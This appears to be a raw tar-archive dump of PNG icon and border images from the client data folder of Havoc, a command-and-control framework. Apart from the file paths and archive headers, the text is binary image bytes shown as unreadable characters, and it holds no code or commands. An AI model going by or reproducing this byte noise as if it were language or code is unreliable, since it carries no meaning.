havoc-0.6~git20240910.69ce17c/client/data/img/000077500000000000000000000000001467014221700202325ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/img/DeadWhite.png000066400000000000000000000005101467014221700225720ustar00rootroot00000000000000PNG  IHDRa pHYsDDIIDATxA `mN ډZyqA :wAațyO_R2 ٳ7:sK4闠V>x(]_zkdAGAQ]5GK3) Bal ~ƞ;B* ~ b?QgQ0Xi1`*)UqƖrb>IqWkl뇺3ٻ sl oR*+IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/FileBrowser/000077500000000000000000000000001467014221700224555ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/img/FileBrowser/File.png000066400000000000000000000005701467014221700240440ustar00rootroot00000000000000PNG  IHDRasBIT|d pHYsyy8tEXtSoftwarewww.inkscape.org<IDAT8Őn0D' B%.H|? sn{{ M$Sf1FĻq[aD֯@Z<މh^U>./&ښH`}I!Ό,˂QL'-:Fy;AHL #HH2E0 czl4W1 zGIDSK)VɁk`(~G k/i - W`uIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/FileBrowser/Folder.png000066400000000000000000000005241467014221700243770ustar00rootroot00000000000000PNG  IHDRasBIT|d pHYsyy8tEXtSoftwarewww.inkscape.org<IDAT8c?%@Wӿ818AY21 >NFWp7cZA F<~ ; -ӏ LYپeA0F}f.VeOCw+30HivRCoZ= IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/FileBrowser/HardDisk.png000066400000000000000000000010301467014221700246460ustar00rootroot00000000000000PNG  IHDRasBIT|d pHYsooCtEXtSoftwarewww.inkscape.org<IDAT8=OTA3.d b@#$В@k0&& *cA* KHN .+Y3bw/|o2d*:YS |@'ƾփs,\gPr=H:Y y`X|2xSp)'2نB\>FTHPzDrl3I4npϟH><˿>M%"t KqPлW%嬁bgyrnqGQzNF ;a8~f#ZXHFUYkUhwIy`~\/ Ueqy8U!<_h v|7z536P1@yⅻRV?omܣ!bIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/FileBrowser/_File.png000066400000000000000000000006161467014221700242040ustar00rootroot00000000000000PNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe< IDATxڤAr0 E=aEwBw08@9,tHTR, {@f6?}134Y> C"6E4My m[癫z8N̑Er`&꺖.-YQweYBp@&$/$Y@k}Q,> Iv -8 ĨbԒ.@(Y|u6#4R3ZO@F3%HF㤥~7yyN]>'>ʸ 0)IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/FileBrowser/_Folder.png000066400000000000000000000006131467014221700245350ustar00rootroot00000000000000PNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxb?%RK [kXwg|! ?>^e3 ډ`9,.TF c`g!0BgQg`)eQbb[@@@P>>^ ~$+X0[a.95<~E׈"n֟X4" ,`lS#T$a7 &|}}5+pj<|+JRNœL@ ~IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/Gates-icon.png000066400000000000000000000117341467014221700227370ustar00rootroot00000000000000PNG  IHDR{`IDATx] WyucF@2DpW C$KE RiE+ j!F4v())Q$ZP'm$Ď_77vrwN5g{1;38zw|i4dȐ!C 2dȐ!C 2dȐ!C 2dsB=g0#3R#YnuXs5y%?G~5A@7c'i{viZ?+(h0･~ Z-fc#A ZSmN%ZP3ދK/ZPcދTHL]ÄhA+c.bvOD r=ets]̤0d{07gxv R{ؼ?pw`7y~az:IO k>Vw!7arL{ 𞳣ކ{^?xlM-`ZphA޼q'p0yށ}XZE ͞7T Z)@u@ g-އk6#܃|D4-.^ȍka5UׂyxTlaּ< }^Z^ih3U޻%|(-`y _ޗYZPwA}ZPXPN`^ p`an87 ogcT@ }?i^owhXy>PL:P$G{^BKއhZ0N `e|3LDEFDا[-xL+h\B4p 𞭆Z{Z  rUrְJw/a y#=:DJXh1Q2heaZs.z!V )G @0y_7tn1#Cˇ}.D^~{iW'{3/‘Xda^58[㾍8]|r&6r%Ng Ndi"N_jwhkJZPݼ ~h_&n鱝\%g_:wVOp/wگ0d  ߽VZz?{IJFcr˒TŸU+Z %}e?qWF/u?#܃VY5ʊShdxWFΞ?т=3w?Bs@ _kE0-{dsZ* |jZ0qkg{ZP.-{SMY⽖(N C"㵀  Yk[Z`:ޏ]Ղ-ߌ?č{9ׂ{k>pZ`hA3elK[yӵ@6Zh[-1 -@[ 0 J{@éxW,V vT|r`dnmR^ ?)]t)ׂ[phJ-x㼍+I`Eڕx=gx_ nѴ1]K/ Ѵ` n҆w[7*|@-PXԸ+Ui=˪<#@$%h4qR'z X2a׫ t ! O܃O5!ֆ>֝@0az`nk[$h n3c@ t!&>D]_&2P>@ 7DtO7$AByIk@2pCH(CpB;Lj} pB@*`#L`v<T8.!P(@q8 C(}@͓Ccz@B@)DS 4/7TG%AG"@M(@F1Z'yvbpDB0#Hh\8$ |J@ 'TxJB(FU!e(@}rÒ['ىIa -@}CVCz'[2М@g R @}'8 /i4 R'hbYq~@nlaF O2[܉_~t eL\RlҡcR\\4̶ɳW9ZVP{ɫx7iE賏>Y2dXS~[]*[^5D(Wnn3]5`v@]K +l`*];yJ"zLs$إLG\Z!Ui!/!Y,S ߃)<.Xma`kAO!{;'t2G- 9+ v~=5=+ϷE?һtBvS)o[ 6a ?ͳP,/ç4wx *hX<>^:hod6ě)L*?5%&ަny^\sԂ]&fFR +w] nC,^>XQdXp o='͋!~}yrTu!` ѓjWCظ \jea]Dy35g`,!書o~~^(m\Vm\ @0 ?IXVOb!z7`57FqkxOiLXb0oN\̅ L>hn{|7`~ޡg,aP p0x?Do7hܱtA1ȃOl,Ocev1qfJQUv]E̻p7jXfhc9:O {U1D(&@^;E.WXvcziAXhAx{lL\ȵ;$8{k[әV #4چ?w^&{wy[Nv+ GK|^}P ޏ ^fp5|2fk,XFp2q $8Q?Wqv}6*X>S嘸oM\à7K|eU h|W\cgxqxa/']w4IAGd_Û *>Fx?uIe8S.+XNA_ M yŕQ1[uvK`P (H7I [j1qLC1XN" ˼`ٰ &&.sxEzjiP*@V,f32q 2rdXZ(jT@sĥ>&n`]ʘ2̤l aJ7wmzkyLܒ72Ac" ۉecN:`Ƴىik{qYILܒX!kC./pMLܒ6ݼǓV4evZa } 'C6s,jX怱)&.7qK@oƲ{By :'qkKe1q+odgn_uE})c9C1q+LX:4q!fN^c#N⊉[Bq<&~XL\򂝃~7Ż dàm?` 5 eEUHwmW6lm/ݍb֠iX#܅GA.$.}@`9b-K}_Gjz1qk22dȐ!C 2dȐ!C 2dȐ!C 24rb$IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/000077500000000000000000000000001467014221700224205ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Boarder/000077500000000000000000000000001467014221700237765ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/img/HavocImages/Boarder/Asset 61024.png000066400000000000000000001372541467014221700262340ustar00rootroot00000000000000PNG  IHDR+ pHYs V V IDATxݳeUuyv,'tBED11[2|+Rտ( TA+T`}1<^|zE1xEs#_^}8k}s5X2rgεc͹F.]p~r947AX/$Ato~wSoR + .wMsgosC0f`T魔+_|I4^y߬=$ˣ`[;M?G,s/Bb`WSJoNC\Ǧo{ ?dcЬ"hV4iB@h T}'!?dc<@Woy0@NØ9c͊&WX-  ɝbȿ$?dc<@~2i 2i R|N87!x30У7V XhdžpwY}<pԬxP6@aj.yØ9 Ep6y`_S_xƹØ9TC h= w_5A+_c Ƥܤ!&Ѓ /p|cc*a@~2 `u1@G..U[s#C_ <@ oL4C^xUSEe=a@ oM5c4Lp #C_ <@<4#4[q G?dcd,h 3VE,Ø!1[occ qJ)];8&m1smll?g@h[\x&w|ef>2C0fH752i<& lLL^wmKi}<nj7 UVK4Pk'{{Y,Qa@t3lo `UEUMߟc9!x306s @hS{nш7ǫ rC0f` 9sɪjMfrǿ8n/1s͙oMxo`MKG]a@t 4A Yx!10 W''[ L7|8m1s-8ߘs 6x!10 ᷦ^#s 4)pL G?dc[rkh  ql#C?dc<@A~> D0hh681Cb /k׮?s9 G?dcL[.j>2A~> D1i84P]vZUOc Ga@t3o>zF&eϼG6Ø92[]'pk׮3 Ә61"x30]f#@ n׮]WM:-|dh}<.s1\C4Л]v]:)w2mc>2E0f` 9I#'@hs>9 G?dc3<(Nڵe9m/Bb`2[0BصkױғVWG6Ø9 <ڍZhԮ]M_YBo䘏 },`0u-O` Ga@tsm0EJX rG~> y/`V0m rC0f` :9Vk׮k'QżG6Ø9[&OR&ѓc Ga@tFs'm<$ k.y+C(sD>rC0f` :9,_Y[[;+!ǁ rG? Djkhwjda@t@Xj 䘏 }<+R]pc."x305VݻwN䘏 },jtv}d:sL rC0f` :9֤ \T@v} t_J隭I074Ax!10Fs)3o>A5hTlݗxpy Ga@tFsU>Ax`v}GJ? rA~> \{vGT,n1W4A6Ø9 x[B"w>6)s~kF9!x30 R [*1Yr2DzLa@tFsXjǖz`r/G>2A~> Dǖ,Y- sH#h}<`%`0Pw>c', G?dc3p 3YdJJߌ rG? Dg05t-[޽Ib^i䑏 m1sW'MWZ ${&K9#C_ <d&MZ 0Wߒ^A>$[ @\a`@`)`ia/Bb`27SJgx.@\4/Q52E0^H smll<[PشF9!x30Mh`Ϟ=si䡑 rG? yXrscc-h8۩o0Nyham1sEiFy |da̐&@4R73<4A6Ø9薘4ٞ={2i䡑 rG~> yilllУI/?joe49 G?dc[pR:F?4zE?qC#|dh}<&@yhXj䡑 rA~> D Ƙj䡑G>2A~> DG 4:Q7W<4AØ9v4:F#4W#< rC0f` 0MϻkkkyhO2$|d9[D>:Vt`Ϟ=kJ62# G?dc3qmoiFy |dcam0Mc4 ^7s<4A6Ø9趙4 0k䡑 rG~> y1i``Ϟ=2wğC#h}<n_O2yhd\Och䡑 rG~> yf_hdJ`.h䡑 rA~> De@`E{4!0'4# G?dcomll . &K)p?yham1sM0MXҞ={~?C#< rC0f` &7X¤;G#yha/򏧯1kJo~sq666^ w)\mſX[['?" wh4: {?qRC#$[vh41 mݻwsaC#6ǼA~0^EPR40a'D<49 /1l-?.yh䡑 rA~> \{D`{ޱ9!j䡑F61_h}<Ûf0e޽W0j䡑F69!x30*m l}$Nyh䡑G>)6Ø9`hl>y['E<4 G?dcX4(`pޓ!{ &[Tػw便__f4C#dh=- "|}नFy䣙b=- RjXp_J`oनFy Cx8nQqػwU)kZIQ#<4G39!{ [htՐb {J)= 0Nyh䡑 2A~ΞF:C^dIQ#<4G3apn$Od`޽g"/'E<4c."{ [8WbkLWGNyh䡑G> Xd9 q 'w q+kkk]Nyh\45A=VA57^_*HjFy8A~@< o߾O5C#䘏/=V! <4A6pAO` f)yh䡑 rZ?dq f+@a5C#jGyh䑏f 2EF"u@g_`5C#/ḅ طo`CyF(`m0- F $wi} F60sq ;gFѡHyF[`Ex¨Gyh䑏ax=0L`+[ <4ABcxAE+#=0 ,䡑F6!x3pA0 `5C#!x3$=X]طo߁>(V<49 C?dc=X<@EXjFy ||C0fH\{,o߾KSJ״>(LMNC#)6Ø9%]طoU)+Z <4A6Ø9]1*5W@m䡑G>)6s8 ,Z}ΔڿU䡑F60sØ9k{]*0y_w(. 6# 2-vpG,q_* F60sqOjۢ/r/\5h# \{5PoX[[;uFy ||C0fH\{"]t:\5C#h }<`UP^WNyh䡑 rZ?dcĵT*(Q#<4A6Ø9P"V`n'नFy䣙b}<՛[0VuनFy Ca*Ku@X PNyh䡑G>)6s8 ́jpk,s+ :pRC#/1s:X PNyh䡑G> Xd9c@uV7=ȹ(2~g42<<8S7xc30ss8 ́j*;~ 4;ĩ/U|l"ӧm{wyghg8dc.ajHM|m߿l[,Ocy|=XFK ma>/.x@]W.yhFW6s8 7]tсҙX PNyh䡑 rZ_d 퐝F^ zo;j:paC# ́A98zkץ <5C#|4Sl1s`Pz{i\tERJG[8 'E<4 G?dc FEZ~+VԃFyh䑏f 21s`z;o\tERJW>(q8)jy60sØ9ڕP׿@+IQ#Gk 0aڹE]t 'Da~ |E_dc@H׎F]]*ۂ<|l#yax6I ݙ/K 2\Ep qFi YWu¨vqf 0aqFr@5<䘏/>$(:;iLwMX P.y` rA~> \{wMW6[5<䘏/~> kO:pf' :pa0?l rC0f`7/,8Cn<5<̏|4Sl1sHx`+ZKX 0,y` 2A~> ́j\ ˃ j}0j`5;a~u7' IDATb}<Ea+_oV @a m#80>* /Q`5p䁝0?LA89Pmf J)]`V @a 1p9ht\rgjvGk qk+UE4ya 1q qRV`N?M`;a~8A8^wGѥRgZ- <䘏/8^ͤj %`pX <h qkOoLjw|V 30?lc>xAӇhX`~+V @a m#8p \ 䡑F"fq q o`XXC#dhq9Љm+z 6#,́NHV<4 G`q/`ix, 6#d,fp <4Ar8^0Aj`5ȣ<4Gk qkO~?VYX 0, F60sX מ *UWy+ Gyh䑏xמT08 <4AB ,k*i߿ҔcK䡑F6xמF/`%`5;<49 -8$=Xz* 0ga5䡑F6xמtؿb5;<49 /v'WF;3ʲ+. Fy Cak}Za5pFy䣙b}<ZF_zr<uनFy CahfQ,jzpRC#3d9ㅚhP; ,H Q#<4A(D}},/H~ 4Uj1y GdaPǴpEoD 0?4Ah!x3= ;6?r<F9 C?dcZ=<` D0?4Ah!x3:=4Pׁ #a~ha m1I`ۡXˆyy䣙b}<<v6,Cq0bF69!x3 qFK[9yoe \1C#|4Slp<8ߩ0lb9 :pa</1À}4xX P.G> Xd9ć5 C)z@q(b8ia 1}}<ρPo'm}+xX_Hb'܇\1<1l1Ck϶qF 0?4Ah!x3XמVo_F0?4A6Ø!ȵg}4ͬg6u J@0?4Ah!x3מ5v m_Px(0?4A6Ø90߮CJC0?4G39!x3<f5f.(r<uˆyy CaPYӷT`O@0?4G3aØ9 lmh5+ r<uˆyy |E_dc@W xX P.G> Xd9cB@hu "X\1_4A> sUj|X@d<|l#<4yaxmQXz!`y|=0j䡑ƗdcxA9nn 8pr<^jFm䑏ye 0aqM[W(q3, <4A(D}},/Hs&ph @yham1COUom`y<48䡑F61?dcg m Xhp + @yha m1Cs`nY(ă 6#d9c怪6[6(ă <4A9c9j |N(ă 6#D1FkZ(ă <4A9c9p֟n,x`5ȣ<4G31a`0&+Q,Ø @yha s8 s(ă 6#DŠmw+Q,Ø 3C#/61c܍q;s?fb9~`C#6ǼBtx/,qܞ ߊb97 C#ñиAZF㚿Y`Xh @yha7 \{5=ꅑb9Vԃ Fyhax3=MXP,BcXX C#d0f>]VL 6w"Vԃ Fyh䑏f cØ!ms oZb9lXXC#d0f㚿@b9l8Xh#lEcOM.ucF8lpƬ/ŖK Q,Ęj:paC#6ǼA~>̆[AW,F<49棙a7rH\5C#h }^Hq/,\ej@&r,Y<,kQ#<4/g>g9rHm>VDZsc<5j2Q,\DtFZyȝ_{QuVZ@t/e3X P&~X/yh5!G;D8W!xj 4 (*cXbFZ yzyotĉ竐=^ .qC4f6@PTB:eF#myȓex SØm4X P&x3D8k )/{Ƿ}_.YMk~>B Ec2=YOl}nF߿"*ƹ31[`K@(a㬑1Y/O:+O\}E|3ᵀp}̲ Vb9~/DXky!}}_4%/Є'x5EPnj \=g<4Njij2Q,"W^k}z\˃"iȟùa:oL^X(㬑/b/B~vY@)N!xJ^i [(*cX \2J;x#GZG$o)8z(Ea.!xJ Vb9 1yh!o]'N>NV461i?dOc{ bQ,Ø!:hCK/ 瑇٘G6SҘ4l (ryZ\FY0f rC2f jbQ,Ø K3_f6&EO<1~1mdh}[oN$_a>/)v Eԟ2cPy[Nj rA!j̊}vgay<^zQ,:/K/bNj rdz}<]Y!l H܁ UܕJ_{g?٥/9r}Y}K r<<|JCK/&/"ObLCXx{<x(1;'b5@,<|<%7t~,$^(|4Sl'gZ`5 xxX Ph}!!O}_җ^4Slg1k5+ xxX Ph]!^ٳgx5|4Sl00Yvf6~(ayu_ SN>, Nj |E_x D!b9,ߟjY!K&/i*8^Q`.adzcA!b9 <<__{wK s>~ d8/p,;/ 7OwEcxC^㏳ yu]b*V9_~M ;69v˨7;KfQq Լ;!K}:7/xc&M?mw ;cdˬe@#( XKf!{ߎd{k1k~48w޼ >>1[j VC[x6@qX:Kg@;ܟ~r_E^;Xi,~(qx6@d ,?~x9l%w[H/@n;Xh VC2[o}/~sܘ4A*?dYt?C=(B0,6REso}V~z|_j=>ivmϐ& rC17ܱ ւgsXpKg5}r't&gh G?d_N VX1CY-KO:5ɂZm8ixch G?d_NBr<"`5@\>yj;75~[/jh8iIO t|.S x3DjXmܟi?|M^7s&@e(]Q,Ø!VO^&?Kgώ "9x?MPp9zm4(P,Ø!^X{+?K5Y/2WwqO|9ϥ(]Q,Ø!T;/9k*J>kI  ark4(P,Ø!V'?c,B^O|d*J<&A${l>bpo$޻b9 _v)Y­kbJ9&IO$ X|C7'Qq 8}>7S}~(y$~Q|CX:W+wa"`5@7}}O?X;Y IDAT>Y}_ NܑC([b97gؐ%r~Xdz(>&N>=~µ3?d߽" Ga ,j&C9NDR9rYd;??WMS3z_3g Z;[y$K~?j?☐&w>M ? mF+wav&K?5w['gB`47|dj0 D!b9,oq%rן'k_ Ҟom4nv쿅 C氝P xxxX^faY-Sb'[ zjr8f͏i$Ÿ&&MUQ(]QxØëa)o&o!e wɯs,$d~ ky_ X~y+(r<ٰ;8q"}k_c /¸c 9iZ?H_җ |ëuhbb9!G.?KsΥo%SI$wiiLIVQ&x:f/{+O?y~\?3.4I3!M"|dBsxq$={A cO-j{)x! iSd4. w C?l@a5@X sqX"q=K%_KkӼϟ}O?=~&ļ}AX 9<߶ D!&L(ca.K=BpK>Z&$W_m}6 rA!0 LC]bĖxj]V,wo)>y{ eKG?Qz)HcXЇ>p?e61lsWLc540Y.y&Ke#$WɫIߟTm;6k 7~P&x(w;R>|Yd gϞ,hӧs}4}֯>)6oZ(]}(0VKprǏP Y-?<,a42_mLA~~@BٗJj[ybE_8_p?UyXDR8qYͤI$v_sOs8(]}hp${ｗ&H)Kl% l|'\U6m$^Y&Fhp6R<_pZ?M{_Es_K/CI,B6 l02 VQ&(E_Җ6y?K^xa|׿%\%K& ")= 1} }wHhbJjd ,_}qKey&I3!MDk6~<;m4(DЄ) ,?k&'ɬ9(y&?Nh iII!|4S| qZ ES?ܙ q̦-|_L~W7HH/sS/D> 23{Y0~PvvXSI裏{ Y-.^"i^kO?Q61߭ )B[5Xj3Y-e]f['jvח/|ܟ&&M")_}gCrN` !޶²t?li(Ӑ/21_kF?EkTYOk4o_|4>}CӸ; r={X *dHc&g>g>IH!I懼_1`5  G?Qwo4(}hpLKg5%ܟٳgϧPӧOGH}?y&M/N`D̾@vEeD3Yկ~5?~Yd ,nH>)ii$y; r) i?d_&(E1%:?Y͝M_o˟E0HY/CIl yꩧMBC#||'\eHM2@IJ3)!n&:D/$Jl瑇 c.*}HM2@)J3/wryvܹ\YʝcH'N$2Wm% wE?% VQ&(ɝ\yɓ'[LK1>UD?692.YMLO|j*(4w|E_% D!&FhpsQϿZx"$Ÿ}yKly; 梟p@BM2@)[nMp +-^VcSϿM~)h%-aLUHh”J\'?Bp_U){hm!sD$J#hf5RDvNy5P>^{?^O+ؔ&ы/~RO&>8wka ;c鼳jxXǓ;f>Yn%>Jnl,][Y-aR$ҤI$Kzg%#v,@⎮;~(a3y?<%3<3.~h%9,M"Y/τf_rEPhhaf ru6C!b9,Y-Y­n)=o-w>}z|ן&&&Qh!|4Sl0t9wl$ Qw~(a''O X%RKQ7Daiy($6o9?L*lyؠ\^РC!b9ƬL>Ý\/㎶{> R M2?ly䣀\c=j$ Qw~(a!w?^x>o}6dM)o&D[ꐈWAy,j/hPb9ב#G/첢ξ;wnZf_'NI'>~*(4GkbHҮb9^/Y/?5yKѣGo`&τHWA rG3WfH~?d̝2 V%K_SoC![IK/(4M=ZE rA~V>k4a5/VjnH#{K7pK|y?|pZf?w)59c5U7k4(l?и#>>-d 9ڹEDrן&&sD/ۊ/yhamLL&[bYŖXƑkQO%dK.$}k~Po&ߤ˿YOcFy |lh+qGjx<]_[{gxU[4dl&O^ yha6NwH,KwEKQ 1%ríj&.nHSN_GH@r&a<4G39} /'xrLm˫>򑏴>,?|)|n&44"wyX#N=R_%?y_KYD=}R={Yt5Mh+L qGM _2d SM%ܲ_^U_vw>xI>MDR?φFy䣙bj$躣b~vyKgyf|%ܵ|ٕ&F6I?&5/\]?~x@ #wp~柨%C{ԩii_ ڞ 1Fy䣙bC~(}0.Ol|#~NnY/wW5LDR$d^yha6squC(}0LpxWaS_X<}Ǚ=d>8ﴐFy䣀\\@1&N0nO 9)x&w宿8k˫Xζm$!WdS/r_q[(g&M"y,__$5ȣ6sq{s !?dS78Ǐ?ݟ}ndJ:}m a|DyhaLm@⎮+ Q_̝2 (K},֤'?>Ux'NDdHh>UER#<4A6hh 7wtQQ]e-nyb-YsQ^裏$BD_=yh䡑 rG3eӨ7 ^Q_~?TC>^,zt%_Or.6_{5)M}oo+D|>]yh䡑 2AKj_j2/;{lߩs<[oey?,yh䡑G>bۨ=Ǖ !?~ȾLУ%R˻ڇ8?8^>M+ KhqC#UPh䡑u*Pb/ D1}1wą{[n1[=1y&~G,<4h:yechs@baؒ%r}:92.ɪ믿>>UPh䡑F61ߐ)@;N~;~8}oDGI?)4MK.dF-O5C#hc`w4`'?>U>oAkT#<4A" D1B[0Z?)p8~rן}4nᆹk

    ^pa_lך48t BK2{t_1xEpⴴɂ^d]_" }g+`%2=>_m̲G@"=(ȉpޠhu 8eǷ7!uNHQ@~<2uey1 6]! Qn'L !D|ͽ3(/d K%_X r,;*Xj)Rd?X`Y MB*%7R0ry wgSTS( 8ΟZ{}D/ܿf͑Ѓ/ooR2dhZet1V-mymͲr+#fgun$" 9Ans= NS1}ol(SNJv,_͕Kis4x*Inޡ%V2#egU#!JVzuflQDxNSUkHsq#Xo* ?_hU ku#bFƔ}aEWYKJ0>)~#16dX+:fg6BF$;LJ&%ŗ#Sb1N>%)zKwOG*vk?yOɱ6|#`N) V_+lS;KCCRҝ;׵ݸd69:X%+gȎ52vʘ +;U̓ rSuA낼`WY%Q4~ܜհ|yĜ+Ȏ]uK˘2d'qd9iU(bʑ *Ygqi/ұQ2>L;SxyubA15:bR1DFHԫ_/rd}hx<ʓ]5 GgHvȎmUl'cGL M)cJɴ]0R Qonܿ e$`"1+bjX*Fe|hraH-Oe9Fnsz>RF6*cx2IKYS$W22Fw#,`뎚y%=ȇDT؃3ْQly]blmJnPJLbgLlyRc6߿EeȅFҘґ1pR kR d.rŋG*݂\o]v4lXf +LeH+T&C._Fٮ=KRVlc02JK7%b݈ٔfėJʔ}Iab(IV$|mN7L˳-Ji؏vxi=]y)1b"b EK.%ؗX.CsI/0Z®[ NlEliIT,mvn%R5Fd|%PclzLbu15JZa d:|Yy12/-bapn}5QG}H37dS, MVBFk!{0!khPl~e]3y\}pY'KV\|\vGrԟCvJLY;v,a IDATVVK^K%,]/que#; va$a"bJþf y~xԏ{u,c4FֹFDA?V;.Gi'/՛~9tmļ[ZƘ/89U9`'}v̗'{-}[ùRW ٛKw .Ϝ't,\n 21#qi^v[U:&)ɺtt-G|e󵀉'&F[P<Njnw)]l)X#T##RV}QJ)c֏Qoǎuќr'O%#G;LQli|Xg`l%`ȎIa4v:-2F]VFHd+(]y]^`Z $"dvb:?)Wk!$¯JtGWXǖ׹#7$$ٝƒJNucˢy! 2iL2vKD:o(;mGwZ~k.GI)"u( ih&:k[1cd9 Nى92ёFWHO<ۥE-܊]EdȦ%S-%J:8Ol-yd_!+sd>Cv.(Ur@2F5]_Pk[ZPq4ɖدyyɧ`=eaHiؖȗ*Gyq)EʎKJYQ\[7+f?=)/F+.dƑjvg͌i%;;iZ^zYYk#Ply*U*p ƙyS-n\)Eƴ [{|,]/_V/5YPK2j@RL$I2Ssd#e%ElWY>-0x#g/b;IN={Z I/ljr%9]@&T嗾2RyP8Bv و`c̦Z"bd[;>ZEh䴒/_s{q=JcDrGκ$uGHxXY)v,dI_"`y_L[)$ӱ-ZI5ؒ,W%ؙ:vWJPAȑ q"[Lli %aR'>ɹko\ _k!o,b+qz ;279F.Qz)'N%??>?pCL0|֨QdQ,]Zo%Dla~~bKh\Ǐ`+JT(*!K+m]wJXHʾded fV\KmBF,$)[~"b 7<kٰz+aat#:B6de G2YoZ_)̈́%zg8n#c"p!;aLDF˔KlYaKFM WT29rf!˗DLq^_WHʸW RWhi!Kwe,Y綰#}D.h%>=]{2+K+S`+l}+XaʈXX0ѯ'ʂ)ǵm٣]ܺ{A~H BK&q`Be8ͱ +5oO3_:yܜG. ZԨY4,/OUh[CślĥW{v+cN KZ旦sזWؙpC^M}aLm!K b$aJ~"3Ƌ+][^;1{ yLגM,ٍ[]_X\ '%KV{ΫwsC*}RV6`K9k^`w.F,Jqt\)֒'Y2*p+0[y 2g78P\2usEiK-r C]&`]&bV/VĸiIJ0aWs:%욲`OK??z^YTz]ՕJ ٧٩yAL{ Ld=XGJȼM쩲KDIC)zkr_lc.ܽ./́w4_Mtڑ+WhaxlIܗL75ɒw^ #>a]{72GȘ9o58拹ܴtUi97fnEIQGFZ9n#PRqaS$iP 6ب*t]tg+GQ舘l"lV!.lD4l~lAR>޶R i4c[I*#cLbK=/Pr6 b^qzKe˻;yu/./r`WIî~Mr^7d[] -حL+.SK#+/묖-ޖ'OMTmc6e׵5ə_QTז#ԥ9x8֫Y%\_ u00b NWoZz]ljCZ2qG%ΰ;}MsZaY8DiF]夿~Y++a_뿪kd$dN+0>nK5Ql- ;stMe<45+l'#7la6aꛍ>D*vIߺu*iJj.NTl6t 92MfȓIW5!3J6ΖLR&ZqLފ\BAs-jPkċԋ5)|S~߼]WUCVp G= kg̥L]f/\V -LNٛ=\R% mx䍿ʝ1+e2sadǶ-|@1Ye+F-%SL7杢)5|vq5q5R8V9Y6uK?I3?QbL;1S^8DռVJ8V 8#cuNŸ'фu+(Utʟԋ!*_ƗtWydb ,Kdeg8KKed-Y$!DMtIS^:t-+gasBҠim ;l,bOY.<%mZyZRTuNYO?ڋʿc92!q.׏j%%gz<Լ f˘/.LHW^7 %d_/-.ey+.o~d~*?4$S*Zv[ԌL3Wn]'nN5ʷnP&0qa驎'o.\Sz帽.LTɧ؀#c?KO&\W*V^ʋ^rh+}ݸ-o}2Q\qai +.ݴdܗ#KFkF%;)Nyb&3yfTN#}ӇN }=5'(XRZ\P N yyxc92&a֏wd%ڶW:/sybC{L+_z aꍎ3t:ouy]tɗ^tESo^)JFULk,YxqA__2_3pΊ W t?'8Ka+SRƅen* 4Y30lm,nH^rt0)`:xRWr$U}F6=~U̇U]oJ8 ]8}J[K'<d't# 2eN-z !&2m}UƔ-_)o6ax񑞟`tSaE5Tua1qCv舍.tۿfJʖ(ׅ˙掖=kc)SBvCy2WΕ+K7MhHlN\Y2ކA[mɎZKf0qI/٘Q處R\r[\a~GJ6cNcS"`S>7jLǐ#,ٺxEm]3X_tQtGenm+_gO*tJTTƸqC[;w8,4o)d۔;{v\n% RL dO2'V)R<()O܊(]s^>?swJa&tzpRrc58]1qCCVO?퉙_<ze]rGҪ=K,}D۸;Ǧ'BRb-my˦ x^-U`P(;f\I^tJw8)L*MʔYyJSN6~q"Ք.Nkӵ+ا>?Vju0^nGœR&y&M:#wJ4ݶd^g}Lzx%uJs os4 |ON=2$Onx~h2i~3޿zqH-]J(>|6vpS1xEizfkNdeoVR7X^&ho B6]6V\ΌEDɌ*ĿLge>dM[sNК<\"4:5CZsw>SYG$b{L c>'!o6<հѐޱC5_^3?yM2גM%[ήdJɲJrA%3Ri9 Q/4ypm0â,8!O6V!]Τ7?˕|V92\LAJ6I^ ;#/vO.(^rt˻n591|ld*?( %Z3Jfe +rJ6ȎF,%[*FPϓ:lQ3/q.[ڰO.a]sǒfg),8oi-Y .ٚ}2Je2O|l(hY4YҒ*  cǃ{J`-\.Znji?6l\nfZ%٥ s.~ͳdNVbbLgx+kړ1ڑe*kL*O qϨ`{)m3{whb>h_JrdBP R3%C2ݯie˟B5{2בYi\./lJY2.g\K6:NҖhbḑd̜(Z;O2Cܖ'Wiߴ~? ;5LP*(fY/˗'yXi,8{JtlYp2% 326:l-m,S~d9eڧ\ ? Ԇ,j]sUHU&ѩرƬ1qCi<@RJ'ek>- հ5zFef_s-f IQsbr֒J0P.HXpdLڗyx1rIch(3\Lٰ̙9bdbtM/BKku>Jƙ2eNmxR :pdBf.ҋBDK;ccK"ƌ[+,'fL,T~_E':5Yd8l2<#f3  m_ndlR2j$ Q[dFaEU']?A8lOĚQ0f6 HV8dt@%|-A>ͳM/<%sZ`j2;s9%dl\dkF\KV3~6a28JI6kdeyĖ[ Il܋A4H qClKU2%~fɼR-nodT?ꭸ\s-tmX2恐1qCplж%sk q[R2 yqd3Nh=i[# lԑ qC"*ȉk0L5_xŖCpd~M<|J[Y22בqlzKҴg$?X_8$B@|^5ߒɼ%mSsbYt+d^3 60$x2d-G)!Edn 0v:$(oW%E%󖥊l9K+sMHlu)% Ǒ$ D\dPfKk ёmHɒ*!:f6I-'NHl9cxؙ7cPG&= 1Z:kǝuJʑJ(%\eJv[:I,|O~B2 .3rxtux,Ȣ%ɤ+^oyϿ߈#SdLl;',([2S82^+ؓl}$Kfdȑ9|F=f-7 B,1qCBI)rG}ɒ992[_jރî sdnGBR[2(Y@e8$ N #[(ڒbI$%7}_HGqd1XR{_9 ,)$[xs^m͑K2d7dLH qCB3d[Rudsǖڒ)GKB;YBB#%C F1qCB1dZQV%Ra*0ؑd -ΊYP!\L Ȅ!+ud^%Y ZgfXB:B)K-dȒ%T qCB;2+u%Yڗ$ՖzrC˕(BFF~,#ۤE+v1G&= 2/VݔV#l$-%7v:2g`Yf -8 2H qCB 6SZ[(S'eGv/ȆL،,~xU%B)YѥQ`A8$O2ڑ!LzJEd6ώLW_K9MGy2҉؊3 "G= 